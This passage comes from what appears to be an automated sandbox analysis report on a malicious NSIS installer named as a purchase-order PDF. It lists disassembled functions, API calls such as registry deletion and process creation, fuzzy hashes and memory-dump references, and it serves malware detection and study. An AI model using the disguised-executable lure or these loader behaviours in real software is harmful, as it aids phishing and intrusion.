WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsd51BE.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsd51BE.tmp$C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll
API String ID: 3109718747-3370600196
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401B37 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(007566E8), ref: 00401BA7
GlobalAlloc.KERNEL32(00000040,00000804), ref: 00401BB9

Strings

Call, xrefs: 00401B5E, 00401B64, 00401B7E
fu, xrefs: 00401B3A, 00401B6A, 00401B79, 00401BA2, 00401BCD, 00401BD4

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call$fu
API String ID: 3394109436-3148595044
Opcode ID: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction ID: 27804974e3ca03393c04398de70bc6092cde1ed56c9d8f76027c1228d60f226a
Opcode Fuzzy Hash: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction Fuzzy Hash: 32219072600101EBCB10EFA4CE85E5F77BAAF45324725413BF116B32D1DA78A8519B1D

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,?,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-823278215
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
